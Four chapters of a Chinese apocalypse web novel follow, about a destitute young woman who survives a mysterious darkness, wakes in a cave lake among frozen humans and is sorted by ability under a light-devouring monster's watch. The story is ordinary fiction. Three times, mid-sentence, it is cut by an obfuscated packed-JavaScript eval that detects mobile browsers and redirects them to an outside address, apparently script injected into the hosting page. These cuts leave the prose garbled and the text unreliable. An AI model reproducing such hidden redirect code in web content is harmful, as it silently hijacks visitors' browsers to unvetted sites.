《心有所惧[末世]》 1. 出门不要忘带手机 那天早上我出门时忘带手机了。 手机算是现代人的第二条命。我一摸到兜是空的,就像是掉了魂般浑身不自在。 我立刻喊我的舍友。 那是我来到陌生城市的第二天,我还没来得及配钥匙,得让舍友陪我一同回住所取手机才行。 可舍友早就走远了,似乎没有听到。 这时候天空突然闪了一下。 黑暗。 很快就结束的黑暗。仿佛有人关了灯,很快又若无其事地亮回来了。 可我们正在户外的街道上啊。 我还以为是我低血糖犯了,可街道上的人群都骚动了起来,各自仰头看天,有人吹起了口哨。 天空亮得像虚假的一样。我忍下心中的恐慌,急着去追赶我的舍友,央求她陪我回住处。 天空坏掉这种事再不寻常也由不得我左右,我得先解决自己的问题。 谁知道待会儿要发生什么大事。 要是天再黑得不辨南北,我没抓住舍友,又没有手机——不就只能孤零零地搁浅在陌生城市的街道上,无能为力地喊着舍友的名字,奢求有人穿过黑暗来救我吗? 我快被这想象给吓倒,急忙向舍友跑过去,就在我将要抓住她的肩膀的时候,前方突然传来一阵骚动。 街道口涌来乌泱泱一群人潮。 人们在奔跑,或者说是,逃跑。 每个人都瞪着眼睛,带着恐慌莫名或僵硬麻木的神情。那种情绪可太有传染力了,几乎在看清这一景象的瞬间,所有人都转身拔腿加入了逃跑的行列。 我很希望有声音能告诉我到底发生了什么。枪声?警笛?救护车?可什么声音都没有。 越是寂静越是令人害怕。 那说明还未出现任何与恐惧源头相对抗的事物。 最开始逃跑的人为何不喊叫提醒呢? 煤气爆炸、暴徒、战争?又或是外星人降临、哥斯拉登陆?人类发明出来了语言和灾难片,总该学会在劫难当头时传递出一些有意义的信息吧? 可除了被吓得不可自抑的那种失控尖叫外,场中没有别的声音,所有人都被裹挟着用尽全力奔跑。 包括我。 我还惦记着我的手机,我最重要的财产和生产工具。 我怕在逃难中只剩下我自己。我在奔跑中拼命靠近舍友,舍友也终于看到了我。 可她口中突然爆出她那个男友的名字,同时毫不犹豫地将钥匙丢给我,然后转头挤向了人群的另一个方向。 和她同住这么久,我似乎从来都碰不到她。 但我的指尖勾住了她随意抛出来的钥匙。 那就分开走吧。 我轻易接受了分头行动的事实。 没人知道为什么要逃跑,那只是种合群的本能。 就像是非洲草原上,只因为领头的野牛在跑动,所有的野牛都跟上了。 我想,没人喊叫出灾难的名字,或许是因为没人知道发生了什么。 这或许是件幸事,我们远到不能目睹灾难的真相,才有机会像这样逃跑。 当我们能亲眼目睹狮豹的身影,离命丧兽口也就不远了。 我忍不住想,如果这只是场乌龙该多可笑啊。 我们只是被裹进了一场快闪活动,又恰巧撞上了某个特殊的天气,就被吓乱了阵脚。 我简直能想象有参与者在事后接受电视采访时一脸懵逼地说,“哦,我也不知道为什么要跑,因为其他人都在跑,所以我也跑了。” 观看电视的人一定无法理解我们正在亲身体验的这种压力。 至少现在,哪怕没人说得出逃跑原因,也没人想在这种环境中以身试法,做赛跑的最后一名。 人群在街道口分流。 室友早就消失不见了,大概选了去找男友的那条路。 而我毫不犹豫地选择了回住所拿手机的方向。 我不由想,难道我们最初见到的逃难人群也是这样随意地选择逃跑方向吗? 那么除了恐惧源头的类型,我们连跟从的逃跑方向是否正确都无从判断了。 也许转过拐角又拐角,我们会和恐惧源头正面撞上。 万一那不知名的灾难已经降临在我的住处,毁掉了我在这陌生城市中的唯一落脚点…… 我的心砰砰直跳。 好在,我终于看到了稍稍熟悉的街道,那老街铺和离开前看起来没有什么区别。 五金店外有几个人在打牌。 逃跑的大军碾过去,踢倒了人行道上的电动车,也撞翻了牌桌。 被打断牌局的人顾不上生气,慌乱地向店内躲避。 在店主放下那道卷帘门之前,我一个冲刺弯腰钻了进去。 好几个人趁乱进入五金店避难了,店主没法驱赶。 人们在黑暗拥挤的货架间,挑挑拣拣地抢着榔头锤子。 我费力地从人群中挤过去。 只要不抢那些扳手,就没人留意我的存在。 我冲入屋后的暗门里,踩着铁制的老楼梯梆梆作响地往下跑。 我和我的室友,就合租在这家五金店的地下室里。 我得去拿我的手机。 我的手很抖,几次没能将钥匙捅进锁孔里。 我擅长强迫自己想象最坏的可能性,又擅长强迫自己清醒。幸好,我担忧的那些坏事还没有发生,至少目前还没有。 门开了。 我冲向我的床铺,一把掀开被子,看到了我的旧手机。 太好了,它还在。 手机亮着屏。 在拿起它的瞬间,蓝白色的招聘应用程序又跳出了未读提示。 多令人安心啊——电力和通讯基站都还照常支撑着人类社会的运转。 我又开始觉得早上这场莫名其妙的逃跑很搞笑了。 明明所有人都没搞清楚情况,就条件反射地在行动。 我点开手机查看本地新闻,又想,如果刚刚经历的逃难是场乌龙,那我迟到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284859|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面试该怎么办。 首页上没有主动弹出什么不寻常的新闻报道,我得想想更准确的搜索关键字。 我回想方才的情景,回想起那阵猝不及防的天黑,想起清晨街道上被高楼截断的漫天碎云,云层后并不耀眼的灰银色天光,和四处漫逃的人群。 那景象苍凉得使人伤心。 铁楼梯上再度传来梆梆作响的声音。 我这从未接待过来客的阴暗地下室竟会在这时受到外人青睐。 我的心跳又加速了。 我早该想到的,会有人在恐慌中寻找掩体。 在街道上逃难时,我能享受合群的安全感,但在狭小空间里,我反而害怕同类。 如果最坏的情况真的发生,作为体弱者我很难应对和资源竞争者的冲突。 已经拿到手机了,要放弃住所吗? 原本我就很害怕留在地底——我可能会在地震和轰炸中遭遇活埋,也会错过地面上的救援和集体转移等关键情报。 现在离开的话,就正好避开和来者的冲突。 可如果躲藏在地下才是更安全的选择呢? 我曾经以五毛一份的价格帮好几个班的学生代做了求生知识竞赛的试卷,全校一二三等奖获奖者背后的真实答卷者全都是我。但那些理论知识在如今一点用处都没。 没有足够的情报判断形势,所有的抉择看起来像是理性决策,其实都是在赌博。 我没想好答案,先冲向门边。 无论如何,我不能停下来,要保持这种被肾上腺素掌控的激烈状态。 在关键时刻,本能比头脑更可靠。那做法未必正确,但绝对最适合自己。 我将挂在墙上的剪刀握在手中,威慑性地用力踢开门,迅速抬头望向高处。 外来者还在楼梯上。 是拥有管理权的店主,还是那些外来的逃难者? 是无害弱小的求助者,还是仗恃武力的流氓? 或是,恐惧的源头终于追上了我? 我没能看见对方的全貌。 太迟了。 黑暗降临了世间,同时吞没了我和对方。 同类间的一切斗争或团结的手段在这伟力前都显得可笑。 那黑暗比阴天的清晨还要深重,比昏暗的地下室还要粘稠,彻彻底底地吞噬了所有的光明。 我头重脚轻,我头晕脑胀,我的本能在尖鸣报警,像是有一千只松鼠在对着遮蔽天空的乌云哀嚎。 头顶的建筑在巨大的晃动中塌陷。 我仿佛听到了摧枯拉朽的犁地声,是在乡村最后的冬日里,冰雪和草木的碎骸被裹入沃土然后倾覆的巨大声音。 那声响正从我的头顶传来。 那一定是幻听,因为我的周遭又像是一片空旷的寂静。 就像那场莫名其妙的逃跑,没有广播通报,没有意见咨询,没有任何人类发出有意义的抗议。 不管这个世界正在遭遇什么劫难。 它来了。 2. 我的梦想 在漫长的思维中断后,我重新做梦。 我参加了某个综艺竞赛,地点在北极荒原。刮骨的寒风中,导师大声喊话问我,“你的梦——想——是什么。” 我想也不想地说出最迫切的愿望,“我想打工。” 导师给出虚伪的笑,“孩子你这么热爱工作?” 我坦诚地答,“我得活啊。”我房租还是借钱交的呢,我欠舍友那么多债。 然后才后知后觉地想起来,哦,是我答错了。 原谅我不习惯梦想这个词语,我光是活着就耗尽了力气,没有余力思考梦想这种长远的话题。 我的梦想不是工作。 工作也好,乞讨也好,什么都好,我的梦想只是活下去。 一觉醒来,我发现自己大概再也不用为房租犯愁了。 我的身体正浸泡在黑暗的湖中,体表还覆着未完全融化的冰层。 此地很黑,黑得让我怀疑自己或许已经瞎了。 此地有人,我听到了呻吟和求助声,像极了地狱中怨鬼的哀嚎。 此地很宽广,那些声音散布到极遥远处。 此地应该是洞窟,因为有回声。 综上所述,我猜自己大概在寒冰地狱。 地狱大抵是不用交房租的。 它总不能将穷房客扫地出门。 顽强和勤奋都是穷人被迫养成的好品质。 我苦中作乐,试着运动僵硬的肢体,关节处的冰壳被纷纷折断,冰渣脱落入水发出细碎的声音。 我很担心掉落的那些不是冰渣而是被冻住的皮肤碎屑。 哪怕已经死了,我也不想做个无皮鬼。 我操纵着不甚灵活的身体,卸下了束缚躯体的冰壳。 失去冰壳那些额外的浮力后,身体就开始下沉了。 冰湖很深,至少深过我的身高。 好在我的原生家庭环境足够糟糕,使我打小就自学成才,掌握了多种求生技能,比如说踩水。 我感受不到冷热,这不是好现象。 我得在失温前尽快离开水中。 我四处摸索,发现周围有密密麻麻的冰块漂浮在水面。 我试着将其推聚到一起,好让我栖身。 行动中有某个瞬间,我突然意识到,那些份量相当的罐状物或许不是浮木。 那大概是像先前的我一样被冻成坨的人类。 我只犹豫了一瞬,就继续手头的工作。 那些硬邦邦的冰罐离解封融化还很遥远,我将其收集叠垒成浮岛,攀爬上去。 脱离湖水后,为了避免被冻死,我脱掉湿漉漉的衣物,拧去水擦干自己的身体。 我知道这很冒险。 哪怕这里伸手不见五指,但其他人类的声音萦绕在侧,提醒着我外人的存在。 更何况,我还不能确认究竟是我眼盲,还是黑暗公正地蒙住了所有人的眼。 但我从小就知道,生存和尊严只能择一。 我从衣物中找到了我的手机,还有剪刀。 我将手机晾在容易拿取的位置,用僵硬的手指握紧了剪刀,随时警惕着周围的声音。 好在命运眷顾着我,至少周边没有发生任何异动,也没有外人接近我。 在冰面上坐了一会儿后,我逐渐能感知到温度了。 还未晾干的湿衣物是冷的,冰面上的空气是温的。 我这才发现冰湖上没有我想象中那么冷,而我的浮岛依旧没有融化的迹象。 这些密度和硬度类似冰的玩意,或许不是真正的冰。考虑到其用途,这是某种固态的“福尔马林”吗? 不管那是什么,我很高兴能从中逃脱。 我一直在竖着耳朵聆听洞窟中其他人类的交流情况。 遗憾的是,巴别塔倒塌的恶劣影响遗毒至今。我听不懂许多语种和方言,只能断定这里的同类来自世界各地。 在我能听得懂的部分里,人们交换的也只有原始的情绪,而非更加具体的语言。 那些重复着太黑了太冷了我好怕的呻吟,不能视之为理性的交流,更像是无法抑制的情绪失控。 ……就像那场莫名其妙的逃跑一样。 我不能嘲笑他们被超出理解的事物吓得六神无主,因为我也一样。 甚至更不堪。 我试过了,我无法发出声音,只能嗬嗬地呼气。 自从醒来后,我的咽喉就因为恐惧而紧张得像是被塞了一团发酵失败的馒头,又酸又硬。 我厌恶自己失去身体的控制权,但那也几乎是种应激后的本能。 就像小时候藏在衣柜中的我永远没有勇气去推开那扇柜门。 我糟糕的悲观习性却是很敢于提出想象的。 我还记得失去意识前的事情。 在那个廉价出租屋的门口,有泥浆或是其他流体倒灌入地下室,将我慢慢按入泥沼。 为何我会在这个洞窟醒来呢? 如果这里不是什么国际化地狱,那就该是个有人主持的各国人类收藏库。 在幕后主持者那里,我们这些人类究竟算什么? 藏品、食物、奴隶,或弃置品? 我该庆幸,在被搬运到这里的途中,我没有遗失自己的手机和剪刀。 我多希望除了这些工具和我暂居的浮岛,我还能够拥有火,食物和力量啊。 可我从其他人的声音中判断出,附近相当一部分区域内,除了水和“浮冰”,再也没有其他事物了。 也没有人找到边岸。 我本来就没有冒险开拓的勇气,更没有多余的体力供我浪费。 我放弃了搜索和寻找,在浮岛上保存着体能等待变数。 肚子饿了。 我害怕其他人类也有同样的感受。 我能碰触到的环境里,能够作为食物的材料只有我自己。 我在恐惧中等待着衣服变干,然后穿上它们,就像过去一次次在失败后重新穿回自己的尊严。 我终于能够控制自己的喉咙了。 我思考着要如何提问,又该如何在暴露位置后转移自身,却迟迟不敢付诸行动,直到一道声音穿透黑暗。 “集——合——” 那是众多纷繁杂音中第一次出现能充当明确指示的主张。 我猜测黑暗洞窟中的绝大多数人都在往那个方向望去,无论他们是否听得懂语言的意义。 听不懂也没关系,因为更加鼓舞人心的事情发生了。 遥远的黑暗中浮现出一点光亮。 那比任何集合的号令都有份量——我差点以为我这辈子都看不到黑暗以外的事物了。 没有飞蛾能拒绝向其聚集的欲望。 我是飞蛾,洞窟中所有的人类在此刻都是飞蛾。 人们连爬带游,渡过布满“浮冰”的湖面,奔赴向集合地点。 我好不容易晾干的衣物又在这场艰难的旅途中湿透了。 这次我只能忍受。 因为人群已经聚集起来了。 环境依旧很黑,人群的声音已经近在耳侧了。 我辨别着周围的水声,尽量不让自己碰到任何人。 集合的光亮因为在格外幽深的黑暗中而显眼,但靠到近前才会发现,那其实并不很亮,只堪堪照亮一个洞口。 水面直到这里才与泥土接壤。 广场般的洞口通往更深的黑暗。 那个洞口就像是水桶桶壁上的水管接口。 我们在封闭的水桶里凫水,持光者站在水管中俯视我们。我们的头顶都是看不透的黑暗。 光并不很亮,持光者的眉眼都很模糊。 我有点脸盲,只能说他面目普通得让我难以形容。 持光者号召了人类在此集合,本人却并不温情,更不激情,像个凡事都要求公事公办的打工人。 我躲藏在湖水中,不敢靠近那光亮。 有比我勇敢的人攀上岸,踏入了那光圈笼罩的范围。 持光者示意他们不要越过光源。 他身前的空间有限,后来者就只能停留在水中。 人们祈求、膜拜或追问,但持光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284860|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者只冷淡敷衍地让他们等待集合。 他不是那种人们期待的先知或拯救者,更像是机械重复排队要求的售票员。 他让人们等待。 等待就意味着有安排,有未来。 那种不将眼前的黑湖奇景当回事的麻木气质,很能抹平人们的恐惧。 一些细碎的哭泣声逐渐消失了,人们似乎忘了先前在湖面上的恐慌惊怕。 有人擦掉眼泪,挤入光亮处,看上去很为先前的大惊小怪感到羞愧。 人们对持光者的敬畏逐渐褪去了。 他们不再崇拜,试探着寒暄示好,询问他究竟在等什么。 持光者爱答不理。 我依旧藏身湖中,看见有个胆大的家伙越过了持光者,向通道深处走去。 持光者终于变了脸色去喝止,却没有追赶。 他举着光源,脚像是焊死在了地上。 冒险者走过了光影的边缘,没人知道他在那边看见了什么,但他发出一声惨叫,连滚带爬地从黑暗中倒退回来。 黑暗中究竟藏着什么? 那个人无法忍耐地连续尖嚎着,避到了持光者的身边。 持光者举着光源,冷漠地低头看他。 冒险者的恐惧很快又化为了愤怒,他伸手抓住持光者的衣领,咆哮着什么。 其他人去阻止闹剧,将过于激动的冒险者拖开。 冒险者缩在靠近冰湖的岩壁边,抓着手边的人嘟嘟哝哝,不时惊恐地看向黑暗。 遗憾的是,我离得远,又不熟悉那门外语,没法搞懂他在说什么。 其他人似乎在努力将这件事当成一个意外。 没人再冒险向黑暗探出脚步。 我那糟糕的想象力因为这场变故而有了新的佐料。 待到人群聚集得差不多时,持光者才开始正式发布信息。 我始终关注着游动的水声,估摸着站在通道的光亮里、潜藏在湖水中的人数大概有一两百左右。 我很熟悉这种拥挤程度。 一场小型宣讲会的规模。 持光者的发言草率又简短,我按自己的理解扩充了那几个句子——我们这些从黑液中醒来的人大概都觉醒了新的能力,接下来要按能力进行分组,然后在升温期结束前离开。 他没有讲解黑液的特殊,更没有介绍我们当下所处的年代和地理位置,也不交代分组后的去处。 似乎那都是些不必要说的事情。 他要求有能力者将他的指令翻译成其他语言,又不在意有没有人认真照做。 真奇怪啊,哪怕先前在维持秩序的工作中表现不佳,他似乎也很有信心,认定自身能够靠语言以外的行动将人群组织起来。 我庆幸持光者使用的是我的母语,不会在转译中损失信息。 我留意到了黑液这个词,掬起一掌湖水让其从中滑落。 这里太黑了。我看不出湖水的颜色。 我只是在醒来时遵循经验和第一印象,将液体判断为水,固体判断为冰。 那或许与真实答案相去甚远。 我应该觉醒了某种能力。 持光者是这么说的。 他的语气听上去理所当然,甚至吝于提供任何解释。 他大概觉得只要提醒我们这个事实,我们就能像摸到自己新长出来的手指头一样,轻松地找到多出来的那项能力,并立即在接下来的分组中完成证明。 这或许是真的。 因为我听到了他人此起彼伏的狂喜尖叫和口哨声。 在察觉到新生的能力后,阴森的出生环境和冷漠的引导人似乎都不再令人恐惧,而是变成了别有风味的魔法生活开局,前途莫测的世界又恢复成了一局轻松的游戏。 我无法感受到这种喜悦。 哪怕在变故发生前,世界对我来说也从来不是轻松的游戏。 我习惯了噩运。 湿透的衣物紧紧地束缚着我。或许能让人类觉醒超能力的那种液体刺骨冰寒。 而我浸泡其中,什么都感觉不到。 3. 我和我的痛苦 痛苦在于强迫自己相信自己拥有不存在的东西。 有一阵子我幻想自己力大无穷,又或是能轻盈地飞翔,能隐去身形,能愤怒地咆哮出熊熊火焰。 但我什么都没有。 分组已经开始了。 有人兴冲冲地攀上通道炫耀自己的力量。 他像熊一样用拳头在地面的岩石上捶出一个深坑,我很怕想象那样的拳头落到同类身上会是怎样的效果。 持光者平淡地看了一眼,“去前面走第三个洞口。” 熊力者没有那么听话,在行动前他追问分组的结果和去向,因为得不到满意的答案而采用武力威胁,并试图抢夺持光者手中的光源。 这是有预谋的。 人类的胆气与群聚规模成正比,持光者给了人们太多聚集的时间,又不在意自身的权威。 熊力者早就约好了几个伙伴,此刻蜂拥而上,要斗倒这个他们看不顺眼的角色,按自己的心意来分配光源,决定冒险的方向。 没有人维护持光者。 人们像围观猴王争夺赛的猴群般,沉默地观看。 持光者烦躁地想要推开闹事者,似乎只把这当成普通的起哄。 隔得太远,我似乎没看清他手中那个光源是什么。 那或许是个内置电池的小夜灯。 有人抢到了光源,随后发出被灼烫的嚎叫。 那颗光源跌落地面,咕噜噜滚走。 持光者急忙伸手去捞,他的面容第一次变得惊恐狰狞。 他没有大叫。 光源滚向洞窟深处的下一刻,所有人的呼吸都突然停滞。 一声鞭打。 我没有来得及看清那光亮照见了深黑洞窟中什么不该存在之物,只看了一瞬迅疾到难以捕捉的阴影。 那应该是条长鞭吧? 持光者、闹事者和无辜的人群全都被打落水中。整个洞窟重归黑暗。那点可怜的光源在空中翻滚后落入湖水,在黝黑的液体上随波飘荡,映着人类们仓皇不定的脸。 没有人说话。 血气在漂浮蔓延。 有人被拦腰截断。也有人失去意识,生死不知。 那些躯骸缓缓沉入水中。 更多人侥幸保住一命,在水中挣扎扑腾。 持光者倒是没什么大碍,他的能力大概都点在了防御上。 他游过去捡起了滚烫的光源,狼狈地爬回岸上。 光亮随着他的行动重新照回洞窟,人们看见洞口近水的岩石已被那一鞭铲成了斜坡。 熊力者捶出来的拳坑留在原地,现在看来浅得可笑。 光圈的边缘照在那个拳坑上,也就是曾经光圈的圆心。 持光者不肯再回到原来的位置了。 他举着光源,小心翼翼站在洞口最边缘的位置,只差半步就会落水。 他二话不说,直对着洞内跪拜颤抖。 这下众人都明白了。 他不是虎,而是伥鬼。 他前面的行为态度也都有了解释。 他始终不理解我们的主动,正如我们不理解他的顺从。 我们未曾见识过他所恐惧之物。 持光者告饶赔罪时不说话。回应他的也不是人语,而是一种频率诡异的振动声,像是昆虫在振翼,或是骨节的摩擦。 有人颤抖地问,“那是什么?” 持光者脸色惨白地说,“它讨厌被光照到。” 这句话以惊人的效率被不断转译成各种语言在人群中传播。 谁也不愿意被别人抢夺光源激怒怪物的行为牵连。 持光者重新主持分组,他想起来了,重复先前那句被无视的话语,“走第三个洞口。” 无人应答。 众人转脸看向那黝黑的湖面。 持光者沉默一会,“下一个。” 又一会儿后,他伸手朝水里指了个人,“你。” 我庆幸自己躲得够远。 分组再度开始。 在未知的命运前,人们沉默地顺应了持光者那种服从。 前方的黑暗中潜伏着怪物,身后的冰冷湖水中没有退路。新获得的能力看来不足以应付这种困境。 人类没有选择。 而我没有可用于分组的能力。 第一个被点中的倒霉鬼,在展示完能力后被分配到了第二个洞口。 他畏缩不前地踌躇在光圈的边缘,求助般地看着持光者,祈求对方用光源为他指引道路。 而持光者绝不肯再让光源深入黑暗一步了。 去啊。水里的人们都急切地催促着那个倒霉鬼,怕他的犹豫为众人再度招来横祸。 倒霉鬼承受不了这种压力——当集体的意志要求个人牺牲探路,而个人又确实别无选择的时候,他或许还会有种为荣耀献身的错觉。 他终于往黑暗中去了。 人们屏住呼吸等待着任何异声。 没有异声。 没有呼救。没有先前那位冒险者般的恐惧惊嚎。没有搏斗逃跑的声音。没有嚼骨头的声音。也没有非人的频率诡异的振动声音。 倒霉鬼没有回来。他或许顺利找到了第二个洞口。 一切都很安静,又酝酿着恐惧。 持光者说,“下一个。” 于是人们参与分组,展示能力,然后走入黑暗。 第二个洞口。第三个洞口。第四个洞口。 人们无法得知不同洞口后都有怎样的际遇。 就像参加宣讲会的应聘者不会被告知其他人得到的薪资。 他们似乎都不为能力本身而苦恼。 有人能抓碎岩壁。 有人随意扭曲自身肢体。 有人自愈能力极强。 有人溶解岩石。 我原以为分组是看能力类型,但也有相似的能力者被分去了不同组别。 持光者心中应该自有一套标准。没人摸得清那套标准是否公平,也没人敢再提出抗议。 但人们本能地知道,如果有人在鉴定能力,说明对方需要能力。 不管前面是怎样陌生的世界,能力强的人永远吃香。 我从别人的展示中寻找灵感,检查自己的身体,试图发现不自知的长处,然后绝望地一条条排除掉那些答案。 十人。数十人。接受分组的人越来越多。 我开始感到焦虑。 我知道的,招聘会没义务招满所有人,未必每个应聘者都能拥有交上履历的机会。 落选者会怎么样? 持光者不在乎湖中那些未能抵达集合处的人,也不在乎分组前的人数消耗。 他麻木地完成工作,看起来没有任何考核指标的压力。 又或者,他有考核指标,那指标远低于现在聚集的人数。 那更糟,因为他或许会提前收工。 我不能继续躲藏下去了。水中的人越来越少。当前人离开,远处的人就会靠近岸边。 我也在往岸边靠近。 我依旧惧怕洞窟深处的黑暗,我更惧怕被遗落在湖水永远的黑暗中。 那等待的煎熬如此漫长,又因一无所成的焦虑空耗而短暂。 只是一瞬间,我就像个毫无准备的裸考生一样,站在光圈的正中了。 我知道持光者正看着我。 我几乎因漫长的踩水而虚脱,冰冷的湿衣使我瑟瑟发抖。头发湿哒哒地黏在脸侧。我盯着脚下的地面,说不出话来。 沉默。沉默是畏惧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284861|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的我。 我已经觉醒了能力。我试图说服自己。我一定是太擅长想象糟糕的可能性了,打心底沉浸在没有能力的惧怕中,才骗过了自己,没发现那显而易见的事实。 我设想着,只要临场时逼自己一把,我就能发挥潜力。 在人生的考场上,我经历过那么多场裸考,有些彻底搞砸了,但有些结果还不算太糟糕。 我能做到的。 我盯着地面,甚至从恐惧中生出幻想,以为那里即将浮现出什么异景。 我几乎看到了有火焰在那里熊熊燃烧。 好安静。持光者还在等待。 我听到自己的呼吸一下比一下急促。 我突然无法自控地想起多年前,有一次我弄丢了刚取到手的助学金。 我不相信那是被人偷走了。因为被盗窃的失物绝不可能回来。 一定是我粗心大意放错了地方。就算我已经将背包和宿舍的角落搜查了数十遍却一无所获,它也肯定藏在某个我还没找到的地方。 那之后的三个月里,我会在洗衣服时疑神疑鬼地寻找夹层,会在突然半夜起床去摸衣柜和地板的夹缝。我时常臆想,觉得它会突然出现在我的背包中,会掉在走廊的角落里。有一次我几乎以为在一个公共的垃圾桶里看到它了。我确信我在空荡荡的桶壁间看到了它。 但那种近乎绝望的臆想不是真的。 就像现在这样,我孤零零地站在岩石上,除了从衣角淌落的湿渍,被我紧盯的岩面什么都没有。 我的唾沫像浆糊使我张不开嘴,可当持光者不耐烦地嗯了一声时,我立刻能够出声。 我的病痛会在任何外界压力前让步。 我小心翼翼地请求,“抱歉,我太紧张了,可以等我一会儿吗?” 持光者说,“第一个洞口。” 这是预想外的答案。先前没有人被分配到这个答案。我不知道这意味着什么。 我最怕自己在弱小的时候被人订上不可更改的标签。哪怕那弱小就是我的常态、我的真实。 在上一段人生,这种无力感就始终跟随我。 在被招生老师拒绝的时候,在被雇主评头论足的时候,我有什么资本去祈求别人相信我那无法被证实的前途和潜力呢? 只有曾经风光过的人,才说得出莫欺少年穷那种话语。 我早没有那种自信。但我从不放弃任何指望。哪怕我悲观的性格总在拖后腿。哪怕我唯一的武器是拖延。那种黏黏糊糊的厚脸皮很讨人嫌,但唯独有用。 我走过持光者后,在离开光圈前直接坐到地上。我说,“我游了太久水,走不动了,歇会儿再走。” 持光者不会驱赶我。他不敢带着他的光源再向洞窟内深入哪怕一步了。 其他人类的评价看法又和我有什么关系?他们只能投以鄙夷或不满的视线,当他们能够碰到我的时候,也是他们该专心面对自身命运的时刻了。 没有其他人照抄我的无赖。同样是听天由命,往前与更早出发的同伴会合,也好过和我这样的废物为伍。 他们是有能力的人。他们沉默又生气地从我身侧走过。 我知道自己只是在拖延时间。 光源是为了分组而存在的,当分组结束后,持光者不再需要验证人们能力的真假,黑暗和危险就随时会到来。 坐在光圈的边缘,我的眼睛逐渐习惯了这里的光线强度。 我想起那个冒险者曾在这里惨叫。他窥探到了什么? 我万分恐惧,但我强迫自己提前窥伺自己的命运。当父亲脸黑时,提前看他拳头的方向是很重要的事情。这也是我自小学到的技能之一。 我顶着压力转头望向黑暗深处。 那个怪物就站在那里。 4. 我的能力 我顶着压力转头望向黑暗深处。 那个怪物就站在那里。 那里已经够黑了,可我能看清,因为怪物仿佛能够吸收光线,它的轮廓比黑暗更黑。我在过去的正常生活里未曾目睹这样的景象。 我仿佛在凝视一个黑洞。 目光被吸走了。思考被吸走了。 有一会儿我的心神好像都漂浮在空中,俯视着呆若木鸡的我自己,俯视着那个吞噬光线的黑洞。 我应该恐惧的,但一切都似乎和我无关。 我在这个状态中呆了好一会儿,才意识到,在看到它的瞬间,我就解离了。 它的存在超出人类常识的理解。于是我就像是在梦中一样,用第三人称的视角俯瞰着它和我。 解离后的我变得很钝。突然觉得死亡也都无所谓了。现实离我有那么遥远。 我在这种钝感的加持下,肆意观察着那个黑洞。 黑洞吞噬着光线,我无法理解它的凹凸和厚薄,只能辨认它投影在我这个方向的不规则轮廓。 有点像异种的人形。 很难说是怪物彻底偏离了人类物种的情形令人害怕,还是说异种竟然有些像人这种情形,更令人害怕。 我突然想起来,我以前打工时会去给电影刷影评,又没钱看电影,经常看几眼海报就空手上阵去做水军。 有个电影据说拍得不怎么样,但海报做得好,画面恐怖氛围感拉满。我盯着那张海报,充分发挥想象力,编了洋洋洒洒五百字的灵异惊悚故事,骗到很多人去影院。然后他们回来骂我,向网站投诉我编造虚假影评。 投诉没被通过。网友最后下定论,说这是个看完烂片后的报复整活。 那条影评的热度给我赚了一个月的生活费。 这时候突然想起这些往事,是因为那个黑洞的轮廓,让我回想起了那张立过功劳的海报。 它身形高大得像是从噩梦中走出来。与人类迥异的轮廓边缘是我无法理解的器官的剪影。 如果非要将其视作生物,它一定有着极其复杂的构造。 我暂且称其为吞光者。 在我怔愣地观察着那个怪物的时候,有分组结束的人从我身侧走过。 没有适应黑暗的眼睛,无法察觉到吞光者的存在。只有走到比我更前的地方才能知道自己的命运。 那时他们已经彻底脱离光明的保护了。 有些幸运的人,无知无觉地低着头往前走。 有些人可能看到了。我隐约瞧见他们在我前方僵住身体,被恐惧攫住,不敢尖叫。 我不知道他们是如何度过这场洗礼的。大概每个人类都有一套应对恐惧的独门心灵武器。 有人颤抖着爬行。有人闭上了眼睛。有人如同牵线木偶般木愣愣地顶着噩梦往前。 太黑了,很快我就看不见他们的身影,只能听到那细微的声音渐渐远去。 他们熬了过去,顺着岩壁摸索着洞口,走过吞光者,消失在前方。 吞噬光线的黑洞依然屹立。吞光者没有丝毫的挪动或变化。 “它”只是在“看”着。 一个观察人类分组的监工。我想。 解明了怪物的意图,并没有让我觉得更好过,也没有让我更难过,毕竟我已经解离了。 我对什么都无所谓。 说回做水军那件事,后来我也想过继续靠编造虚构影评的方式赚钱,可我吃不了那碗饭。 我只在恐怖故事上有着精彩的想象力,其他类型电影我做得一塌糊涂。 那个发评的账号不属于我,被公司收走拿去营销了。 没有什么东西是属于我的。 除了我的旧手机。 想到我那唯一的财产时,我的灵魂突然坠落回身体。手掌下意识地按在兜上,隔着衣服按到那个冰冷的塑料块后,我松了口气。 然后发现,我的解离状态解除了。 沉重的压力再度回到肩上,拨弄手机的那一下后,我的身体僵硬得近乎失能。 我有些后悔。 从湖里捞出来的手机,在这个不知道什么年头的时代里大概再也开不了机。 为这种玩意,离开那种轻松超然的状态,真的值得吗? 